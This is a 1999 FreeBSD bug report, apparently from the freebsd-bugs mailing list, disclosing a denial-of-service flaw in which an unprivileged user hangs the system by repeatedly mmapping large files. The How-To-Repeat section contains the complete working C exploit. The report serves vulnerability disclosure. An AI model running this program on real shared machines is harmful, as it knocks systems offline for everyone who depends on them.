From owner-freebsd-bugs Sat Oct 30 16:10:10 1999 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 59CC014DA4 for ; Sat, 30 Oct 1999 16:10:00 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id QAA11027; Sat, 30 Oct 1999 16:10:00 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id F0D8014BF2; Sat, 30 Oct 1999 16:00:45 -0700 (PDT) Message-Id: <19991030230045.F0D8014BF2@hub.freebsd.org> Date: Sat, 30 Oct 1999 16:00:45 -0700 (PDT) From: sobomax@altavista.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: kern/14614: VM DoS attack (with exploit attached) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 14614 >Category: kern >Synopsis: VM DoS attack (with exploit attached) >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Oct 30 16:10:00 PDT 1999 >Closed-Date: >Last-Modified: >Originator: Maxim Sobolev >Release: 4.0-CURRENT, 3.3-STABLE >Organization: Vega International Capital >Environment: >Description: Any unpriveleged user with shell access and 10-20MB of disk quiota can hang FreeBSD machine using following program. This program is simply mmap'ing large files without unmap'ing them. I have not found a way to prevent this attack neither using disk quotas nor using memory limits in login.conf. I'm personally tested it works on 4.0, however others reports that 3.3 is also affected. >How-To-Repeat: #include #include #include #include #include main() { int fd; int i; int len=1024*1024*10; /*ie 10Mbytes*/ caddr_t addr; char ttt[80]; for (i=0;;i++) { sprintf (ttt,"%d",i); fd=open(ttt,O_CREAT|O_RDWR,0666); if (fd<0) { printf("open error %ld\n",errno); exit(1); } lseek(fd,len-1,SEEK_SET); write(fd,"",1); addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); if (addr==MAP_FAILED) { printf("mmap error %ld",errno); exit(1); } close(fd); memset(addr,'x',len); } } >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message